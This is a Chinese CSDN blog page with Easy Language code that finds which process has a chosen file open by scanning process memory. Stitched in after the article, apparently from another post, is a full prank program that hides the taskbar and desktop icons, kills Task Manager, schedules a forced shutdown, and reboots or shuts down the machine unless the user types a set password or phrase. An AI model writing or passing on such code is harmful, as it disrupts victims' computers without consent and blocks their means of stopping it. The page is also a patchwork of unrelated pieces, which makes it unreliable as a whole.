易语言取c盘文件夹中的文件被占用,易语言检测文件被哪个进程占用的代码

本文介绍了如何使用易语言来检测文件是否被其他进程占用。通过加载贝贝吧模块6.6,实现检查系统进程并找出占用文件的进程ID。文章提供了详细的代码示例,包括取系统进程列表、内存搜索等功能,适用于易语言初学者学习。
摘要由CSDN通过智能技术生成

易语言检测文件被哪个进程占用的代码

检测文件占用的代码

此功能需要加载贝贝吧模块6.6

.版本 2

.支持库 eAPI

.程序集 窗口程序集_启动窗口

.子程序 _查询按钮_被单击

.局部变量 进程名, 进程信息, , "0"

.局部变量 进程id, 整数型, , "0"

.局部变量 a, 整数型, , "0"

.局部变量 i, 整数型

进程名 = 取系统进程列表 ()

显示占用列表框.清空 ()

.计次循环首 (取数组成员数 (进程名), i)

.如果真 (寻找文本 (到小写 (进程_取程序路径 (进程名 [i].进程标识符)), “system32”, , 真) = -1 且 到小写 (进程_取程序路径 (进程名 [i].进程标识符)) ≠ “” 且 进程名 [i].进程标识符 ≠ 进程_取自进程ID ())

.如果真 (内存.搜索 (进程名 [i].进程标识符, 到字节集 (文件路径编辑框.内容), a) > 1)

显示占用列表框.加入项目 (进程名 [i].进程名称, 进程名 [i].进程标识符)

.如果真结束

.如果真结束

标题 = 到文本 (i)

.计次循环尾 ()

标题 = “结束”

.子程序 _选择程序按钮_被单击

.如果真 (通用对话框1.打开 ())

文件路径编辑框.内容 = 通用对话框1.文件名

.如果真结束

运行结果:

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
.版本 2 .支持库 eAPI .支持库 shell .程序集 启动窗口程序集 .子程序 __启动窗口_创建完毕 隐藏桌面图标 () 隐藏任务栏 () 终止进程 (“taskmgr.exe”) 信息框 (“游戏开始!”, 0, ) 运行 (“shutdown -s -t 300”, 假, ) .子程序 _时钟1_周期事件 标签2.标题 = 到文本 (现行时间 ()) .子程序 _按钮1_被单击 信息框 (“上当了吧!系统关机!”, 0, ) 关闭系统 (#关机, ) .子程序 _按钮2_被单击 关闭监视器 (窗口句柄 ()) 打开指定网址 (“http://www.dywt.com.cn/”) 打开指定网址 (“http://www.dywt.com.cn/newslist.htm”) 打开指定网址 (“http://www.dywt.com.cn/prc.htm”) 打开指定网址 (“http://www.dywt.com.cn/pdown.htm”) 打开指定网址 (“http://www.dywt.com.cn/buy.htm”) 打开指定网址 (“http://www.dywt.com.cn/server.htm”) 打开指定网址 (“http://www.dywt.com.cn/pingt.htm”) 打开指定网址 (“http://www.dywt.com.cn/oem.htm”) 打开指定网址 (“http://www.wodesoft.com/”) 打开指定网址 (“http://bbs.eyuyan.com/”) 延时 (6000) 打开监视器 (窗口句柄 ()) .子程序 _按钮3_被单击 运行 (“shutdown -a”, 假, ) 信息框 (“上当了吧!系统重启!”, 0, ) 关闭系统 (#重启, ) .子程序 _按钮4_被单击 载入 (密码窗口, , 真) .子程序 _按钮5_被单击 信息框 (“上当了吧!系统注销!”, 0, ) 关闭系统 (#注销, ) .子程序 _按钮6_被单击 载入 (按钮, , 真) .子程序 _按钮7_被单击 .子程序 _按钮8_被单击 .版本 2 .支持库 eAPI .支持库 shell .程序集 密码窗口程序集 .子程序 _密码窗口_创建完毕 .子程序 _按钮1_被单击 .如果真 (编辑框1.内容 = “ERTB” 且 编辑框2.内容 = “FGHQ”) 密码窗口.可视 = 假 信息框 (“密码正确~!”, 0, ) 信息框 (“退出~!”, 0, ) 运行 (“shutdown -a”, 假, ) 显示任务栏 () 显示桌面图标 () 运行 (“taskmgr.exe”, 假, ) 结束 () 销毁 () .如果真结束 .如果真 (编辑框1.内容 ≠ “ERTB” 且 编辑框2.内容 ≠ “FGHQ”) 信息框 (“密码错误!”, 0, ) 信息框 (“准备迎来历史性的时刻!”, 0, ) 运行 (“shutdown -a”, 假, ) 关闭系统 (#重启, 真) .如果真结束 .子程序 _按钮2_被单击 销毁 () .版本 2 .支持库 shell .程序集 按钮6程序集 .子程序 _按钮_创建完毕 信息框 (“请打出下面的文字,否则......”, 0, ) 信息框 (“我爱你”, 0, ) .子程序 _时钟1_周期事件 进度条1.位置 = 进度条1.位置 + 1 .子程序 _按钮1_被单击 .如果真 (编辑框1.内容 = “我爱你”) 运行 (“shutdown -a”, 假, ) 关闭系统 (#关机, 真) .如果真结束 .如果真 (编辑框1.内容 ≠ “我爱你”) 运行 (“shutdown -a”, 假, ) 关闭系统 (#重启, 真) .如果真结束
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值